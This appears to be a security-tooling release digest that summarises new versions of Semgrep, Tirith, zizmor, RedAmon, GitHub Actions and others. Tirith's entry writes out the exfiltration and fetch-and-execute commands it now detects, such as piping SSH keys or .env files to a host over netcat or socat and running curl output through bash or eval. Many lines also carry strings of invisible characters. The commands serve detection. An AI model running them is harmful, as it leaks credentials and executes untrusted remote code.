The daily firehose — everything the toolchain shipped today, already filtered.
We read every release from the 1309 tools on our watchlist at the source — GitHub and GitLab release notes, vendor release pages and changelogs, project blogs and feeds, vendor press releases, and the source code behind the tag. Bug-fix-only releases and non-product newsroom noise are dropped; what's left is summarized down to the new capability, how to try it, and any screenshots or videos the release itself published. Every entry links to the sources it was built from.
READ AS
Focus:What features shipped and what problems they solve, plus launches, packaging and where the market is moving.
Leaves out:Command-line flags, API-only deltas, usage examples, and releases that are only refinements.
Focus:New security controls, new APIs, and product improvements you can put to work, plus anything an upgrade breaks.
Leaves out:Launch and marketing news, governance, pricing, and documentation changes with no operational effect.
Focus:Dashboards, reporting, and anything you can quantify: metrics, coverage, risk scores, compliance impact, vendor moves.
Leaves out:Settings, flags, API and command-line detail, library bumps, and minor releases with no reporting or posture angle.
Focus:API, SDK and MCP changes, new libraries, breaking changes in what you import, and cyber tooling.
Leaves out:Governance, SOC operations, and vendor launches with no developer surface.
AMOUNT
DETAIL
ORDER
This issue came out before editions were ranked, so it shows the Standard edition in issue order.
What stands out across today's releases, grouped by what it lets you do. Every tool named links to its entry below.
Three unrelated things stand out. Runlayer can now block MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. agent egress by DNS and route Claude Desktop through its gateway, so agent traffic stops being unobserved outbound. Tirith turns its risk warnings into a blocking approval gate rather than advisory text. And Security Onion's detection engine can finally correlate multiple events into one alert instead of firing them separately.
protect
Put a hard boundary around what an AI agent can reach
Runlayer adds DNS-based egress blocking and pulls Claude Desktop through the LLMLLMA large language model, a neural network trained on large amounts of text to recognize patterns and generate language. Applications use it for tasks such as answering, summarizing and writing code. Gateway, so an agent's outbound calls go through a chokepoint you control instead of straight out the host. Tirith's requires_approval signal and hook controls convert what was a warning line in a log into a decision that stops the action, and Cloudflare lets you override the blanket Agents policy for individual Personal Agents rather than choosing one setting for all of them.
Alert on a sequence of events, not each one in isolation
Security Onion 3.4.0 brings initial multi-event Correlations into the detection engine, which is the difference between an analyst manually stitching three low-severity hits into one story and the platform doing it before the queue fills. Plerion's four new AWS Security Incident Response detections in CDR extend the same idea to cloud-native signals.
Recover deleted evidence from mobile SQLite instead of losing it
Both tools ship WALWALWrite-Ahead Log: a durability mechanism in databases where changes are recorded to an append-only log before being applied to main storage, giving tools crash recovery and atomic transactions without full-page rewrites. recovery — iLEAPP a shared reader used across eleven modules, ALEAPP multi-generation recovery — which pulls records out of write-ahead logs that a normal SQLite read would skip, recovering chat and app rows an examiner would otherwise never see. Both also add 20+ new artifact parsers including C2PA provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build..
Three unrelated things stand out today: tirith can turn risky agent behavior into approval gates, Socket can watch non-default repo branches for org alerts, and Security Onion can correlate multiple events in its detection engine instead of treating each signal alone.
protect
Turn agent risk signals into approval gates
tirith’s structured requires_approval signal and hook controls let teams stop warnings from remaining advisory-only; risky exfiltration or inline-exec behavior can require a decision before continuing. Runlayer adds DNS-based egress blocking, while Cloudflare lets teams override general agent policy per Personal Agent instead of applying one coarse rule to all of them.
Keep vulnerability and supply-chain coverage from stopping at the default branch
Socket can now track multiple branches per repository for organization-wide alerts, so release rings, canaries, and other non-default branches do not sit outside monitoring until they merge. Semgrep expands dependency coverage and agent-session controls, reducing the manual gap between what developers are testing with coding agents and what security review actually sees.
Correlate related events before an analyst starts stitching them together
Security Onion adds initial multi-event Correlations in its detection engine, which turns related signals into a higher-context detection path instead of leaving analysts to connect each event manually. Plerion adds AWS Security Incident Response detections and new GCP checks, widening the cloud conditions that can be surfaced before they become a hand-built hunt.
Open-source, self-hosted AI penetration testing framework: maps your attack surface into a graph, autonomously exploits it from a Kali sandbox with human approval gates, and opens PRs that fix what it finds. MCP both ways: plug in any MCP server as a tool, or drive RedAmon from Claude Code or your own agent.
RedAmon adds TruffleHog as a second secret engine in JS Recon and restricts Rules of Engagement documents from requiring key validation.
└──▷ GET THIS VERSION
$ git clone --branch v7.5.1 https://github.com/samugit83/redamon.git
# already have the repo? check out this version:$ git checkout v7.5.1
New detectionEnable or disable TruffleHog scanning per project by setting js_recon_trufflehog_enabled in the projects table; on by default for new projects, toggled in the UI at JS Recon → Key Validation → TruffleHog.
New detectionA Rules of Engagement document can now only turn JS Recon key validation off, not require it; re-enabling validation by hand is logged as relaxing a safety control.
2 details in Everything
└──▷ BREAKING ON UPGRADE
!Upgrading from v7.0.0 or earlier requires Docker Engine 28.0.0 or newer; on an older engine ./redamon.sh update stops immediately after git pull.
!Upgrading through v7.2.0 or v7.4.0 requires running tooling/scripts/dns_finding_rekey.py, netlas_finding_rekey.py, and js_secret_rekey.py each with --all --apply before the first scan, with agent, webapp, and recon-orchestrator stopped, to preserve mutes, verdicts, and fix items on findings whose IDs are rekeyed.
!Upgrading through v7.2.0 pauses schedules for any project whose scope is a public suffix until its target list is edited, and some projects require one full recon before partial recon, GVM, or AI-attack can start again.
Bugcrowd introduced three new organization-level roles to scope access to Savant Pathseeker autonomous tests and asset inventory, and expanded the Organization Owner role to cover assets.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Bugcrowd is a crowdsourced security platform that connects organizations with ethical hackers to find and report vulnerabilities through bug bounty and penetration testing programs.
Bugcrowd introduced three new organization-level roles to scope access to Savant Pathseeker autonomous tests and asset inventory, and expanded the Organization Owner role to cover assets.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
1 FEATURE0 OF 1 FEATUREmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
New organization roles for assets and Pathseekernew70how completely this was documenteddepth30/40specificity25/30actionability15/3070 / 100
Bugcrowd adds three new organization roles: Test Operator, which can launch, stop, and configure Savant Pathseeker autonomous tests across approved assets and read asset inventory to select test targets (must be explicitly granted by an Organization Owner, not included with any program role by default); Asset Owner, which can manage asset inventory, discovery, scans, and groups, and triage findings across all programs; and Asset Viewer, which can view asset inventory, the discovery feed, and scan status, and view findings across all programs.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ The existing Organization Owner role now also includes full access to assets in addition to all security programs and submissions.
Semgrep's latest release centers on Guardian's new version-check and authentication controls for coding-agent sessions, a Detect-2Shell agentic workflow for spotting RCERCERemote code execution, the ability to run attacker-chosen code on another system through a vulnerability. Its impact depends on the permissions and access that code receives.-prone Node.js/PHP versions, and expanded Supply Chain coverage for Bun lockfiles and transitive dependency autofix.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Get started with Semgrep to help you catch, flag, and fix real vulnerabilities before they ship.
Semgrep's latest release centers on Guardian's new version-check and authentication controls for coding-agent sessions, a Detect-2Shell agentic workflow for spotting RCERCERemote code execution, the ability to run attacker-chosen code on another system through a vulnerability. Its impact depends on the permissions and access that code receives.-prone Node.js/PHP versions, and expanded Supply Chain coverage for Bun lockfiles and transitive dependency autofix.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
9 FEATURES1 OF 9 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Guardian version checks and authentication optionsnew86how completely this was documenteddepth30/40specificity28/30actionability28/3086 / 100
Semgrep Guardian now checks local PHP and Node.js versions at the start of each Claude Code and Codex session, flagging versions affected by the PHP2Shell and Node2Shell remote code executionremote code executionRemote code execution, the ability to run attacker-chosen code on another system through a vulnerability. Its impact depends on the permissions and access that code receives. vulnerabilities; these checks can be disabled by setting SEMGREP_GUARDIAN_PHP_CHECK and SEMGREP_GUARDIAN_NODE_CHECK to off.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Guardian also adds authentication options: set SEMGREP_GUARDIAN_TOKEN_COMMAND to a program that prints an OAuth token so Guardian uses it directly without opening a browser (for environments like Coder external authentication), and re-authenticate after credentials expire by running /semgrep:reconnect in your coding agent.
Disable Guardian's PHP version gate in a CI environment where PHP2Shell alerts would block an automated coding session.
$ export SEMGREP_GUARDIAN_PHP_CHECK=off
Supply a pre-existing OAuth token from Coder external authentication so Guardian skips the browser login flow entirely.
— Names exact env vars, command, and vulnerability namessnapshot-20261103
0200
Bun lockfile support in Supply Chainnew82how completely this was documenteddepth28/40specificity26/30actionability28/3082 / 100
Supply chain dependency analysis now supports Bun projects that use a bun.lock lockfile with a package.json file, including direct and transitive dependencies and workspaces. The binary bun.lockb format is not supported; convert with bun install --save-text-lockfile --frozen-lockfile --lockfile-only and then delete bun.lockb.
Switch a Bun project from the unsupported binary lockfile to the text lockfile format so Semgrep Supply Chain can analyse its dependencies.
$ bun install --save-text-lockfile--frozen-lockfile--lockfile-only && rm bun.lockb
— Runnable migration command and exact lockfile names givensnapshot-20261103
0300
Unpinned Python version display and SBOM propertyimproved61how completely this was documenteddepth24/40specificity22/30actionability15/3061 / 100
Python packages declared with a version range or without a version in requirements.txt now show the declared range, marked with an unpinned icon, in the Version column on the Dependencies page. SBOMSBOMA software bill of materials, an inventory of the components and versions inside an application. It helps teams find affected software when a dependency has a vulnerability or licensing issue. exports list them as CycloneDXCycloneDXAn open standard for describing software components and their dependencies, vulnerabilities and other supply-chain information. Tools use it to exchange bills of materials and related evidence. components without a version, with the declared range included as a component property.
— Names exact file, UI column, and SBOM format detailsnapshot-20261103
0400
Detect-2Shell agentic workflownew60how completely this was documenteddepth26/40specificity22/30actionability12/3060 / 100
Semgrep Agentic Workflows adds the Detect-2Shell workflow, which identifies repositories whose Node.js or PHP version may be affected by the Node2Shell or PHP2Shell remote code execution vulnerabilities by checking Docker image tags, .nvmrc files, infrastructure-as-code files, and CI setup steps.
Scheduled agentic workflows in public betanew50how completely this was documenteddepth20/40specificity15/30actionability15/3050 / 100
Scheduled agentic workflows are now in public beta, letting users schedule Semgrep Agentic Workflows to run daily, weekly, or monthly on chosen projects by going to Policies and clicking Edit on the Scheduled workflows card.
— Exact UI navigation path given but no further detailsnapshot-20261103
0600
Supply Chain Autofix for transitive dependenciesimproved43how completely this was documenteddepth18/40specificity15/30actionability10/3043 / 100
Supply Chain Autofix now opens pull requests for transitive dependencies in npm and PyPI projects that have a lockfile.
— Names ecosystems and condition but no command shownsnapshot-20261103
0701
Read-only role restrictions on remediation policiesbreaking42how completely this was documenteddepth18/40specificity16/30actionability8/3042 / 100
API tokens with the Read-only scope and users with the Read-only role can no longer create, update, or delete automations in remediation policies or create or link tickets.
— Clear scope change but no migration guidance givensnapshot-20261103
0800
Unified Slack notification layoutimproved42how completely this was documenteddepth16/40specificity18/30actionability8/3042 / 100
Slack notifications now use one layout covering Semgrep Agentic Workflows issues, Semgrep Code, Semgrep Supply Chain, Semgrep Secrets findings, incoming webhook findings, and triage events.
— Lists all covered finding types but no config shownsnapshot-20261103
0900
Wiz integration adds Azure DevOps and Bitbucket sourcesimproved35how completely this was documenteddepth12/40specificity15/30actionability8/3035 / 100
The Wiz integration now accepts findings from Azure DevOps and Bitbucket Data Center repositories, in addition to GitHub.
— Names integration and new sources but no setup stepssnapshot-20261103
zizmor's v1.32.0 release makes input collection root-aware by default to cut down on spurious findings, while also expanding LSPLSPLanguage Server Protocol, the standard way editors get code intelligence such as completions, go-to-definition and errors from a separate per-language server. Coding agents use it to understand code. capabilities, adding experimental GitHub ActionsGitHub ActionsGitHub's built-in CI/CD system that runs automated workflows triggered by repository events, letting cyber tools automate testing, building, and releasing without managing separate pipeline infrastructure. workflow lockfile support, and shipping new Windows ARM64ARM64The 64-bit instruction set architecture from ARM Holdings, used in modern mobile chips, Apple Silicon, and cloud server CPUs; tools target it to run natively on those platforms without emulation overhead. wheels on PyPI.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Static analysis for GitHub Actions (and more)
zizmor's v1.32.0 release makes input collection root-aware by default to cut down on spurious findings, while also expanding LSPLSPLanguage Server Protocol, the standard way editors get code intelligence such as completions, go-to-definition and errors from a separate per-language server. Coding agents use it to understand code. capabilities, adding experimental GitHub ActionsGitHub ActionsGitHub's built-in CI/CD system that runs automated workflows triggered by repository events, letting cyber tools automate testing, building, and releasing without managing separate pipeline infrastructure. workflow lockfile support, and shipping new Windows ARM64ARM64The 64-bit instruction set architecture from ARM Holdings, used in modern mobile chips, Apple Silicon, and cloud server CPUs; tools target it to run natively on those platforms without emulation overhead. wheels on PyPI.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
4 FEATURES0 OF 4 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Root-aware input collection by defaultimproved65how completely this was documenteddepth25/40specificity20/30actionability20/3065 / 100
zizmor's input collection is now root-aware by default, so invocations like zizmor . no longer collect inputs that GitHub Actions would not actually use, eliminating spurious findings from workflow definitions in vendored directories.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
— Names exact CLI invocation and explains the behavior change.v1.32.0
thinner coverage below
0200
LSP auditing and workspace folder trackingimproved50how completely this was documenteddepth20/40specificity20/30actionability10/3050 / 100
zizmor's LSP now audits pre-commit inputs, and it honors the didChangeWorkspaceFolders event to keep workspace analysis current when folders are added or removed.
— Names the LSP event handled but lacks usage detail.v1.32.0
0300
Windows ARM64 wheels on PyPInew35how completely this was documenteddepth10/40specificity15/30actionability10/3035 / 100
zizmor now provides Windows ARM64 wheels on PyPI.
— Names platform and distribution channel but nothing more.v1.32.0
0400
Experimental workflow lockfile supportnew20how completely this was documenteddepth10/40specificity5/30actionability5/3020 / 100
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.
Tirith v0.5.0 adds new exfiltration and inline-exec detections, turns warnings into enforceable approval decisions via a structured requires_approval signal and hook controls, and ships a wide set of breaking changes to trust grants, package commands, IaCIaCInfrastructure as Code: the practice of defining and provisioning compute infrastructure through machine-readable config files rather than manual processes, giving cyber tools repeatable, version-controlled environment setup. detection, and the tirith-core library API.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
11 FEATURES5 OF 11 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Exfiltration and inline-exec detection expansionnew85how completely this was documenteddepth35/40specificity30/30actionability20/3085 / 100
Tirith now flags secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and extends the same finding to curl -d @/dev/stdin, -T /dev/stdin and wget --post-file=/dev/stdin reading secret files from stdin.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ It also detects downloaded output run as program source via python3 -c "$(curl …)", node -e, php -r/-B/-R/-E, bash -c "$(curl …)", eval "$(curl …)", source <(curl …) and deno eval "$(curl …)" as interpreter_suspicious_inline_exec in POSIXPOSIXA family of standards for operating-system interfaces, including process, file and shell behavior. Software that uses these interfaces is easier to move between compatible systems. shells and fish, and closes a gap where versioned interpreter names — python3.12, pypy3, perl5.34, php8.2, ruby3.3, nodejs and others — previously passed undetected as pipe sinks or inline program targets.
Check whether a command would be flagged as data exfiltrationdata exfiltrationMoving data out of a system or organization without authorization. It can happen through network transfers, removable media or other channels. before running it — useful in CI or agent pre-flight.
— Named finding types and exact commands, no toggle to configurev0.5.0
0201
Structured approval signal and hook bypass controlsbreaking85how completely this was documenteddepth35/40specificity30/30actionability20/3085 / 100
tirith check JSON output (schema 3 and 4) gains a boolean requires_approval field, and every agent adapter now denies a command marked requires_approval: true instead of just warning. TIRITH_HOOK_WARN_ACTION can be set to allow, ask or deny to control warned commands in agent hooks — ask surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with guidance elsewhere — and the policy setting allow_bypass_env_noninteractive: true honors a TIRITH=0 bypass in the zsh non-interactive guard, with tirith check --json now printing a full verdict (action: "allow", bypass_honored: true, requires_approval: false, exit 0) for an honored bypass instead of no output.
— Named fields and env var with exact values, no sample invocationv0.5.0
0300
Setup --force rewrites agent adaptersbreaking83how completely this was documenteddepth25/40specificity28/30actionability30/3083 / 100
tirith setup <host> --scope <scope> --force rewrites installed agent adapters to enforce the new approval requirement, leaving .tirith-backup-v2-* recovery copies alongside the rewritten files. Re-run with --install-zshenv to also update the ~/.zshenv guard; --force alone and tirith doctor --fix leave the 0.4.x guard in place.
Refresh a Claude Code agent adapter after upgrading to enforce the new approval requirement, scoped to your user account.
$ tirith setup claude-code --scope user --force
— Exact command, flags and backup path with migration notev0.5.0
0402
Trust grants now scoped by rulebreaking81how completely this was documenteddepth25/40specificity28/30actionability28/3081 / 100
tirith trust add now requires --rule RULE or --all-rules and writes grants to trust-grants.json instead of trust.json; run tirith trust migrate to move existing trust.json entries into the new file. Migrated entries stop applying if you downgrade to 0.4.x.
Migrate existing trust entries to the new grant file so they continue to apply after upgrading.
$ tirith trust migrate
— Exact commands given but rule matching mechanism unexplainedv0.5.0
0500
IaC auto-approve detection scans every command on a lineimproved73how completely this was documenteddepth25/40specificity28/30actionability20/3073 / 100
IaC auto-approve detection now checks every command on a line, so cd infra; terraform apply -auto-approve now warns (iac_apply_auto_approve, exit 2) and cd infra; terraform apply now blocks when iac_require_plan_before_apply: true.
— Exact commands and exit codes but no CLI example to runv0.5.0
0600
package_lookup_incomplete finding replaces analysis_incompletebreaking65how completely this was documenteddepth25/40specificity25/30actionability15/3065 / 100
The package_lookup_incomplete finding replaces analysis_incomplete for live OSV.devOSV.devAn open-source vulnerability database and API maintained by Google that aggregates CVEs and ecosystem-specific advisories in a unified schema, giving cyber tools a single feed to query for package-level vulnerability data. and deps.dev lookups that could not finish; policies that handle pip install or npm install warnings by adjusting analysis_incomplete must be updated to name package_lookup_incomplete.
— Named finding rename with migration guidance, no examplev0.5.0
0700
False positive reduction across shell patternsimproved60how completely this was documenteddepth20/40specificity30/30actionability10/3060 / 100
Reduces agent false positives so these patterns now pass: if/while bracket conditions over substitutions, POSIX variable-named commands, python3 -c data pipelines, here-strings into jq, xargs -I{}, { …; } groups, common eval "$(…)" shell-setup lines, function bodies with ${…} expansions, large heredoc writes, curl to localhost with no proxy, .app and .dev TLDs, header expansions such as -H "Authorization: Bearer $TOKEN", and wrapper spellings like nice -n5 and timeout -k1 5. Plain LAN health checks such as curl http://192.168.1.20:8080/health now warn instead of block.
— Lists exact patterns fixed but no single actionable stepv0.5.0
0803
Package install/approve commands refused, use --no-execbreaking60how completely this was documenteddepth20/40specificity20/30actionability20/3060 / 100
tirith pkg install and tirith pkg approve now refuse on every host; use tirith install --no-exec to analyze an install instead.
— Exact replacement command given, no further detailv0.5.0
thinner coverage below
0900
Unknown options rejected before command separatorbreaking55how completely this was documenteddepth20/40specificity20/30actionability15/3055 / 100
tirith check now rejects unknown options before the command separator and exits 2; previously (0.4.2) an unknown flag was analyzed as the first command word.
— Exact exit code and before/after behavior givenv0.5.0
1004
ANSI escape and control character blockingbreaking50how completely this was documenteddepth20/40specificity20/30actionability10/3050 / 100
Commands containing ESC sequences or bare carriage returns are now blocked as ansi_escapes / control_chars; integrations that pass ANSI colour codes inside commands must strip them first.
— States the new block but no example commandv0.5.0
1105
tirith-core library API overhaulbreaking40how completely this was documenteddepth15/40specificity20/30actionability5/3040 / 100
The tirith-core library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; AnalysisContext, Policy and output::JsonOutput gained fields.
— Names changed types but no migration stepsv0.5.0
└──▷ BREAKING ON UPGRADE
!
Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run tirith setup <host> --scope <scope> --force for every agent host and project after upgrading.
!
A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead.
!
An unrecognized TIRITH_HOOK_WARN_ACTION value now denies warned commands; the only valid values are allow, ask and deny.
!
Commands containing ESC sequences or bare carriage returns are now blocked as ansi_escapes / control_chars; integrations that pass ANSI colour codes inside commands must strip them first.
!
Re-run tirith setup <host> --scope <scope> --force --install-zshenv to update the ~/.zshenv guard; --force alone and tirith doctor --fix leave the 0.4.x guard in place.
!
tirith check --json now prints a normal verdict (action: "allow", bypass_honored: true, requires_approval: false, exit 0) for an honored TIRITH=0 bypass instead of no output.
!
tirith check rejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word.
!
The package_lookup_incomplete finding replaces analysis_incomplete for live OSVOSVOpen Source Vulnerabilities, a vulnerability database and schema maintained by Google that gives cyber tools a machine-readable, cross-ecosystem format for querying and sharing CVE-style advisories..dev and deps.dev lookups that could not finish; policies that handle pip install or npm install warnings by adjusting analysis_incomplete must be updated to name package_lookup_incomplete.
!
IaC auto-approve detection now checks every command on a line, so cd infra; terraform apply -auto-approve now warns (iac_apply_auto_approve, exit 2) and cd infra; terraform apply now blocks when iac_require_plan_before_apply: true.
!
tirith trust add now requires --rule RULE or --all-rules; migrated trust.json entries written to trust-grants.json stop applying if you downgrade to 0.4.x.
!
tirith pkg install and tirith pkg approve now refuse on every host; use tirith install --no-exec to analyze an install instead.
!
The tirith-core library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; AnalysisContext, Policy and output::JsonOutput gained fields.
psalm-plugin-laravel v4.18.1 adds smarter type inference across factories, Eloquent date casts, and Carbon methods, while introducing a breaking change around Psalm 7.0's purity-annotation defaults.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Security-focused Laravel static analyser
psalm-plugin-laravel v4.18.1 adds smarter type inference across factories, Eloquent date casts, and Carbon methods, while introducing a breaking change around Psalm 7.0's purity-annotation defaults.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
4 FEATURES0 OF 4 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Purity-annotation restoration flag for Psalm 7.0breaking81how completely this was documenteddepth25/40specificity28/30actionability28/3081 / 100
Psalm 7.0 no longer reports MissingPureAnnotation, MissingAbstractPureAnnotation, MissingImmutableAnnotation, or MissingInterfaceImmutableAnnotation by default.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Projects that rely on these must set suggestPurityAnnotations="true" in psalm.xml to restore them.
Restore purity-annotation warnings that Psalm 7.0 now suppresses by default, so your codebase still catches unannotated pure functions.
— Names exact config key, file, and the four suppressed issue typesv4.18.1
0200
Carbon timestamp and diffForHumans typingimproved64how completely this was documenteddepth28/40specificity26/30actionability10/3064 / 100
Carbon $timestamp is now read as int, and diffForHumans()'s $syntax parameter (plus its from, since, to, until, fromNow, toNow, ago aliases) is typed as CarbonInterface::DIFF_* constants, with out-of-range integer arguments reported.
— Names exact constants and method aliases but no examplev4.18.1
thinner coverage below
0300
Factory-count inference for model factoriesimproved59how completely this was documenteddepth25/40specificity22/30actionability12/3059 / 100
psalm-plugin-laravel now infers the factory count from factory(), new, and count() on the concrete factory class, so make() and create() return a single model or a Collection instead of both, and custom state methods stay callable after count().
— Names methods and return-type behaviour but no code examplev4.18.1
0400
Configurable date-cast class resolutionimproved54how completely this was documenteddepth22/40specificity22/30actionability10/3054 / 100
Eloquent date and datetime casts are now typed as the class passed to Date::use() instead of always resolving to Illuminate\Support\Carbon, and created_at/updated_at without a cast or @property annotation are typed as that configured date class rather than the raw schema string|null.
— Names config method and fields but no usage examplev4.18.1
└──▷ BREAKING ON UPGRADE
!
Psalm 7.0 no longer reports MissingPureAnnotation, MissingAbstractPureAnnotation, MissingImmutableAnnotation, or MissingInterfaceImmutableAnnotation by default; projects that rely on these must add suggestPurityAnnotations="true" to psalm.xml to restore them.
GitHub is a web-based platform for version control and collaborative software development using Git repositories.
GitHub added repository protection status to security risk assessments and announced that Actions will block pull_request_target events by default in public repositories starting December 2, 2026.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES1 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
pull_request_target blocked by default in public reposbreaking88how completely this was documenteddepth35/40specificity28/30actionability25/3088 / 100
GitHub Actions will block pull_request_target events by default in all public repositories starting December 2, 2026, via a new workflow execution protection rule, preventing fork-sourced untrusted code from accessing base-repository secrets.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Teams can use workflow file targeting inside an Actions event policy to explicitly allow pull_request_target for specific workflows rather than the whole repository, and can preview impact via the Insights view while the rule runs in evaluate mode. Brownout enforcement windows on November 9 (16:00–18:00 UTC) and November 16 (16:00–18:00 UTC) will surface affected workflow runs early before full enforcement.
Protection status in security risk assessmentsimproved50how completely this was documenteddepth20/40specificity15/30actionability15/3050 / 100
Code security and secret risk assessments now show whether each finding is in a protected or unprotected repository, helping identify where to extend coverage. Available to organization admins and security managers under the organization's Security tab > Assessments.
Identify unprotected repositories with active findings so you can prioritize where to extend branch protection or code security policies.
📍In your organization, go to Security › Assessments, then open the code security risk assessment or secret risk assessment — each finding now shows a protected or unprotected status for its repository.
Starting December 2, 2026, pull_request_target workflow runs in public repositories will be blocked by default and will fail unless an Actions event policy explicitly allows them. Brownout enforcement windows on November 9 (16:00–18:00 UTC) and November 16 (16:00–18:00 UTC) will surface affected workflows early.
Skylos adds a self-contained report command for sharing findings and a new rule that flags open control and admin routes during security checks.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Open source local-first PR scanner that finds dead code, security bugs, secrets, quality regressions, and AI-code mistakes before merge. For first timers refer to https://duriantaco.github.io/skylos/repo-map/
Skylos adds a self-contained report command for sharing findings and a new rule that flags open control and admin routes during security checks.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES0 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
